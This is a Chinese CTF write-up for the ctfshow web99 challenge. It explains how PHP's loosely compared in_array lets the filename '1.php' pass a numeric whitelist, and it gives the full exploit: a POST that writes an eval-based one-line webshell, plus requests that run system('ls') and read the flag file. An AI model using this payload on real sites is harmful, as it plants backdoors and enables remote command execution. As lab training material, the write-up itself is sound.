当前位置: 首页 > news >正文

[ctfshow web入门]web99 in_array的弱比较漏洞

信息收集

array_push(array, value):向数组最后的位置插入value
in_array(value, array, type):其中value是要查找的值,array是需要查找的的数组,type是查找的类型,如果没有指定类型,则以弱比较方式查找
in_array存在一个弱比较漏洞,也就是当type设置时,且value的类型与数组数据内容类型不同时,value会被转化为数组数据的类型。此时如果value是字符串,而array数据类型是int,那么字符串会被转化为int

highlight_file(__FILE__);
// 生成一个数组
$allow = array();
// 遍历 36 到 0x36d;0x36d = 877
// 向数组插入元素,随机数1到最多877
for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i));
}
// 查询是否存在$_GET['n'],如果存在则以$_GET['n']为文件名写入$_POST['content']
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){file_put_contents($_GET['n'], $_POST['content']);
}

解题

由于in_array未设置type,我们构造?n=1.php,此时in_array比较时,1.php被强制类型转化为int,也就是1,1大概率存在于数组中,此时我们向1.php写入一句话木马即可

?n=1.php
post:
content=<?php eval($_GET[cmd]);?>

再访问我们的木马文件,获取目录和flag

1.php?cmd=system('ls');
1.php?cmd=system('tac flag36d.php');

在这里插入图片描述


web    目录    web

http://www.dtcms.com/a/301075.html

相关文章:

  • Java面试题及详细答案120道之(081-100)
  • OpenHarmony部件化编译最佳实践
  • 【优选算法】BFS解决FloodFill算法
  • Triton Shared编译
  • 零基础学习性能测试第五章:Tomcat的性能分析与调优-Tomcat原理,核心配置项,性能瓶颈分析,调优
  • JavaScript - 实现套索工具的demo
  • 机器学习鸢尾花案例
  • 面试150 只出现一次的数字Ⅱ
  • 相关数电知识
  • 【51单片机和数码管仿真显示问题共阴共阳代码】2022-9-24
  • Web3与元宇宙:构建下一代互联网的数字文明
  • Petalinux生成文件的关系
  • Flutter 生命周期介绍
  • 2507C++,结构化存储与复合文件
  • JavaWeb(苍穹外卖)--学习笔记13(微信小程序开发,缓存菜品,Spring Cache)
  • epoll_event 事件类型详解
  • Python折线图
  • Spring 核心流程
  • 问津集 #2:High Compression and Fast Search on Semi-Structured Logs
  • 网络基础19:OSPF多区域实验
  • 小黑课堂计算机二级 WPS Office题库安装包2.52_Win中文_计算机二级考试_安装教程
  • C++算法竞赛篇(五)循环嵌套题型讲解
  • java开闭原则 open-closed principle
  • 商品中心—1.B端建品和C端缓存
  • 内网服务器实现从公网穿透
  • NVMe高速传输之摆脱XDMA设计16:队列管理模块设计(上)
  • Python 列表推导式与生成器表达式
  • 激光SLAM技术综述(2025版)
  • Python入门构建网页
  • Linux驱动20 --- FFMPEG视频API